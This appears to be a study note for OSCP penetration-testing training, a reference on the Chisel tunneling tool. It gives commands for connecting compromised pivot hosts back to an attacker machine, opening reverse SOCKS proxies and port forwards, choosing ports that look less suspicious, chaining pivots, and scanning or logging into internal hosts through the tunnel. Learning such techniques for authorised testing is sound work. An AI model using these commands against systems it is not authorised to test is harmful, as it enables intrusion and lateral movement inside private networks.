Chisel

Chisel — Complete Reference

What Is Chisel?

Chisel is a lightweight binary written in Go that tunnels TCP/UDP traffic over HTTP. It supports authentication, encryption (TLS), and SOCKS5 — making it one of the best pivoting tools when firewalls block everything except web traffic.

OSCP use: Best when SSH isn’t available and firewalls only allow outbound HTTP/HTTPS. Single binary, runs on Linux and Windows.

Architecture:

• Server — runs on your attacker machine (Kali). Waits for client connections.
• Client — runs on the pivot/compromised host. Connects out to the server.

---

Installation

# Kali
sudo apt install chisel
 
# Manual download — https://github.com/jpillora/chisel/releases
# Linux (attacker)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64 && mv chisel_linux_amd64 chisel
 
# Linux (pivot)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
 
# Windows (pivot)
iwr -Uri https://github.com/jpillora/chisel/releases/latest/download/chisel_windows_amd64.gz -OutFile chisel.gz
# Extract and rename to chisel.exe

---

📌 1) Typical Setup Flow

1. Server (Kali) — start chisel server listening for incoming connections
2. Client (Pivot) — connect back to Kali server, create tunnel/proxy
3. Use proxychains or direct connection on Kali to reach internal network

---

📌 2) Reverse SOCKS5 Proxy (Most Common OSCP Pattern)

The pivot host connects out to Kali (bypasses inbound firewall rules).

Server (Kali)

chisel server -p 8000 --reverse
# Or specify a less suspicious port
chisel server -p 443 --reverse
chisel server -p 80 --reverse

Client (Linux Pivot)

chisel client KALI_IP:8000 R:socks
# R:socks = reverse SOCKS5 proxy on Kali's port 1080 (default)

Client (Windows Pivot)

C:\Temp\chisel.exe client KALI_IP:8000 R:socks

Use Proxychains

# /etc/proxychains4.conf
socks5  127.0.0.1  1080
 
# Now use any tool through the proxy
proxychains nmap -sT -Pn -p 22,80,445 172.16.0.0/24
proxychains evil-winrm -i 172.16.0.10 -u admin -p password
proxychains crackmapexec smb 172.16.0.10 -u user -p pass

---

📌 3) Reverse Port Forward

Expose a specific internal port on your Kali machine:

# Server (Kali)
chisel server -p 8000 --reverse
 
# Client (Pivot) — forward internal 172.16.0.5:80 to Kali's 127.0.0.1:8080
chisel client KALI_IP:8000 R:8080:172.16.0.5:80
 
# Now on Kali:
curl http://127.0.0.1:8080   # Reaches 172.16.0.5:80

Multiple Port Forwards in One Command

chisel client KALI_IP:8000 R:8080:172.16.0.5:80 R:3389:172.16.0.10:3389 R:socks
# Opens SOCKS + two specific port forwards simultaneously

---

📌 4) Forward SOCKS (Pivot as Server)

The pivot listens — useful when you can reach the pivot but it can’t reach you:

# Client (Kali) — connect to the pivot's chisel server
chisel client PIVOT_IP:8000 socks
# Opens SOCKS5 proxy on Kali's 127.0.0.1:1080

# Server (Pivot)
chisel server -p 8000 --socks5

---

📌 5) Local Port Forward (Pivot as Server)

# Server (Pivot)
chisel server -p 8000
 
# Client (Kali) — local forward: reach internal 172.16.0.5:80 via Kali's port 8080
chisel client PIVOT_IP:8000 8080:172.16.0.5:80
 
# Now on Kali
curl http://127.0.0.1:8080

---

📌 6) Custom SOCKS Port

By default, reverse SOCKS proxy opens on port 1080. To use a different port:

# Client (Pivot)
chisel client KALI_IP:8000 R:9090:socks
# SOCKS5 proxy now on Kali's port 9090
 
# Update proxychains config:
socks5  127.0.0.1  9090

---

📌 7) Authentication (Optional)

Add basic auth to prevent unauthorized connections:

# Server (Kali)
chisel server -p 8000 --reverse --auth user:password
 
# Client (Pivot)
chisel client --auth user:password KALI_IP:8000 R:socks

---

📌 8) Chained / Multi-Hop Pivoting

Chain through two pivot hosts:

[Kali] ←── [Pivot1: 10.10.10.5] ←── [Pivot2: 172.16.0.10]

# Kali: start chisel server for Pivot1
chisel server -p 8001 --reverse
 
# Pivot1: connect to Kali + start its own server for Pivot2
chisel client KALI_IP:8001 R:socks &
chisel server -p 8002 --reverse &
 
# Pivot2: connect to Pivot1
chisel client PIVOT1_IP:8002 R:socks
 
# Kali: two SOCKS proxies now active
# proxychains.conf → socks5 127.0.0.1 1080  (routes through Pivot1 → 172.16.0.0/24)
# For deep network (through both pivots):
# use proxychains with two chained proxies (dynamic_chain in proxychains.conf)
socks5 127.0.0.1 1080
socks5 127.0.0.1 <Pivot2's SOCKS port>

---

📌 9) OSCP Scenario Examples

Scenario A — Internal web app on 172.16.0.5

# Kali
chisel server -p 8000 --reverse
 
# Linux pivot
./chisel client KALI_IP:8000 R:socks
 
# Kali (proxychains)
proxychains curl http://172.16.0.5
proxychains gobuster dir -u http://172.16.0.5 -w wordlist.txt

Scenario B — RDP into internal Windows machine

# Kali
chisel server -p 8000 --reverse
 
# Windows pivot
chisel.exe client KALI_IP:8000 R:3389:172.16.0.10:3389
 
# Kali
xfreerdp3 /u:admin /p:Password1 /v:127.0.0.1:3389

Scenario C — Full subnet scan

# Kali
chisel server -p 8000 --reverse
 
# Pivot
./chisel client KALI_IP:8000 R:socks
 
# Kali
proxychains -q nmap -sT -Pn --top-ports 50 172.16.0.0/24

---

📌 Full Options Reference

Server Flags (chisel server [options])

Flag	Description
-p, --port	HTTP listening port (default 8080)
--host	HTTP listening host (default 0.0.0.0)
--key	ECDSA key seed for identity verification
--authfile	Path to users.json for access control
--auth	Single user:pass for quick auth
--keepalive	Keepalive interval (default 25s)
--backend	Proxy normal HTTP requests to another server (camouflage)
--socks5	Enable SOCKS5 for clients
--reverse	Allow clients to request reverse port forwarding
--tls-key	TLS private key path
--tls-cert	TLS certificate path
--tls-domain	Auto-cert via Let’s Encrypt

Client Remote Notation

Notation	Meaning
R:socks	Reverse SOCKS5 proxy on Kali’s port 1080
R:PORT:socks	Reverse SOCKS5 on custom port
R:PORT:HOST:PORT	Reverse — expose internal HOST:PORT on Kali’s PORT
PORT:HOST:PORT	Forward — reach internal HOST:PORT via Kali’s PORT
socks	Forward SOCKS5 proxy (pivot acts as server)

---

📌 Quick Cheat Sheet (Copy/Paste)

# MOST COMMON — reverse SOCKS5 pivot
# Kali:
chisel server -p 8000 --reverse
# Pivot (Linux):
./chisel client KALI_IP:8000 R:socks
# Pivot (Windows):
chisel.exe client KALI_IP:8000 R:socks
# Kali (use tools):
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains evil-winrm -i 172.16.0.10 -u admin -p pass
 
# Reverse port forward (specific port only)
./chisel client KALI_IP:8000 R:8080:172.16.0.5:80
curl http://127.0.0.1:8080
 
# Multiple tunnels in one command
./chisel client KALI_IP:8000 R:socks R:3389:172.16.0.10:3389
 
# Custom SOCKS port
./chisel client KALI_IP:8000 R:9090:socks
# → proxychains: socks5 127.0.0.1 9090

---

Related Tools

• SSH
• Socat
• Ligolo-ng
• Netcat

Related Notes

• Tunneling
• SSH Tunneling
• Ligolo-ng
• Socat
• Windows Tunneling
• Networking
• Shells
• MetaSploit
• Netcat
• Training